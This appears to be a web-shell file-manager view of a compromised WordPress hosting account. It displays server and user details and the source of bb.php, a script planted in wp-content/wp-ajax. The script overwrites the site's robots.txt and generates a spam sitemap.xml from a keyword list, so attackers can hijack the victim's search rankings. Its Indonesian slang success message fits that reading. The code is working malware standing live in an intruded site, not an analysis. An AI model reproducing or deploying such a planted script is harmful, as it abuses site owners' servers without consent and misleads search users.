HEX
Server: Apache
System: Linux a16-asgard6.hospedagemuolhost.com.br 5.14.0-570.52.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 15 06:39:08 EDT 2025 x86_64
User: maoristu4c3dbd03 (1436)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: //proc/self/root/proc/thread-self/cwd/wp-content/wp-ajax/bb.php
<?php
function getFileRowCount($filename)
{
$file = fopen($filename, "r");
$rowCount = 0;
while (!feof($file)) {
fgets($file);
$rowCount++;
}
fclose($file);
return $rowCount;
}
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if (isset($fullUrl)) {
$parsedUrl = parse_url($fullUrl);
$scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : '';
$host = isset($parsedUrl['host']) ? $parsedUrl['host'] : '';
$path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '';
$baseUrl = $scheme . "://" . $host . $path;
$urlAsli = str_replace("bb.h", "", $baseUrl);
$robotsTxt = "User-agent: *" . PHP_EOL;
$robotsTxt .= "Allow: /" . PHP_EOL;
$robotsTxt .= "Sitemap: " . $urlAsli . "sitemap.xml" . PHP_EOL;
file_put_contents('robots.txt', $robotsTxt);
$judulFile = "note.txt";
$jumlahBaris = getFileRowCount($judulFile);
$sitemapFile = fopen("sitemap.xml", "w");
fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL);
fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL);
$fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($fileLines as $index => $judul) {
$sitemapLink = $urlAsli . '?id_ID=' . urlencode($judul);
fwrite($sitemapFile, ' <url>' . PHP_EOL);
fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL);
date_default_timezone_set('Asia/Jakarta');
$currentTime = date('Y-m-d\TH:i:sP');
fwrite($sitemapFile, ' </url>' . PHP_EOL);
}
fwrite($sitemapFile, '</urlset>' . PHP_EOL);
fclose($sitemapFile);
echo "<h1>SITEMAP DONE CUK GASKEUN!</h1>";
} else {
echo "URL saat ini tidak didefinisikan.";
}
?>